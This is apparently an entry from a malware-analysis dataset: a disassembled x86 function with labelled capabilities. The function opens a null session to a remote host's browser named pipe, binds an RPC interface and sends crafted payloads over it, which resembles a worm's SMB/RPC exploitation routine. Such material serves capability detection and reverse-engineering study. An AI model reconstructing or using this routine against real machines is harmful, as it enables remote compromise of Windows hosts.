Function at 0x408554
Capabilities:
Connect network resource
Initialize winsock library
Read pipe
Write pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1468
call fcn.0040b960
and dword [ebp - 0x1a0], 0
or dword [ebp - 0x414], 0xffffffff
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x19c], eax
mov eax, dword [sym.imp.USER32.dll_wsprintfA]
mov dword [ebp - 4], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x1464], eax
movzx eax, byte [0x40f76a]
cmp eax, 0xf2
jne 0x4085a2
xor eax, eax
jmp 0x408834
lea eax, [ebp - 0x198]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0x104
push 0
lea eax, [ebp - 0x2e8]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str._browser
push dword [ebp + 8]
push str._spipe_s
lea eax, [ebp - 0x2e8]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x104
push 0
lea eax, [ebp - 0x3f0]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
push dword [ebp + 8]
push str._spipe_s
lea eax, [ebp - 0x3f0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
and dword [ebp - 0x40c], 0
and dword [ebp - 0x400], 0
lea eax, [ebp - 0x3f0]
mov dword [ebp - 0x3fc], eax
and dword [ebp - 0x3f4], 0
push 0
push 0x40cf7c
push 0x40cf7c
lea eax, [ebp - 0x410]
push eax
call sub.MPR.dll_WNetAddConnection2A
test eax, eax
je 0x40865b
xor eax, eax
jmp 0x408834
push 0x40
push 0
lea eax, [ebp - 0x1e0]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
call fcn.004024be
push eax
push 0x40cee4
lea eax, [ebp - 0x1e0]
push eax
call dword [ebp - 4]
add esp, 0xc
and dword [ebp - 0x1468], 0
jmp 0x40869c
mov eax, dword [ebp - 0x1468]
inc eax
mov dword [ebp - 0x1468], eax
cmp dword [ebp - 0x1468], 8
jge 0x4086c7
mov eax, dword [ebp - 0x1468]
movsx eax, byte [ebp + eax - 0x1e0]
xor eax, 0xf2
mov ecx, dword [ebp - 0x1468]
mov byte [ebp + ecx - 0x1e0], al
jmp 0x40868f
mov eax, dword [ebp - 0x1e0]
mov dword [0x40f7a7], eax
mov eax, dword [ebp - 0x1dc]
mov dword [0x40f7ab], eax
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x2e8]
push eax
call dword [ebp - 0x1464]
mov dword [ebp - 0x414], eax
cmp dword [ebp - 0x414], 0xffffffff
jne 0x408715
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
jmp 0x408834
push 0x48
push str.y_b_t
lea eax, [ebp - 0x1460]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x1440]
push eax
push 0x40f7dc
call dword [sym.imp.RPCRT4.dll_UuidFromStringA]
push 0x40f7dc
lea eax, [ebp - 0x1440]
push eax
call dword [sym.imp.RPCRT4.dll_UuidToStringA]
push 3
pop eax
mov word [ebp - 0x1430], ax
xor eax, eax
mov word [ebp - 0x142e], ax
push 0x1000
push 0
lea eax, [ebp - 0x1418]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
lea eax, [ebp - 0x1a0]
push eax
push 0x1000
lea eax, [ebp - 0x1418]
push eax
push 0x48
lea eax, [ebp - 0x1460]
push eax
push dword [ebp - 0x414]
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
push 0x139
push 0x40f6a0
push 0x40f502
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 0
lea eax, [ebp - 0x1a0]
push eax
push 0x1000
lea eax, [ebp - 0x1418]
push eax
push 0x1e4
push 0x40f4b8
push dword [ebp - 0x414]
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
push 0
lea eax, [ebp - 0x1a0]
push eax
push 0x1000
lea eax, [ebp - 0x1418]
push eax
push 0xa4
push 0x40f410
push dword [ebp - 0x414]
call dword [sym.imp.KERNEL32.dll_TransactNamedPipe]
push dword [ebp - 0x414]
call dword [ebp - 0x19c]
push 1
push 1
lea eax, [ebp - 0x3f0]
push eax
call sub.MPR.dll_WNetCancelConnection2A
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
inc eax
leave
ret 4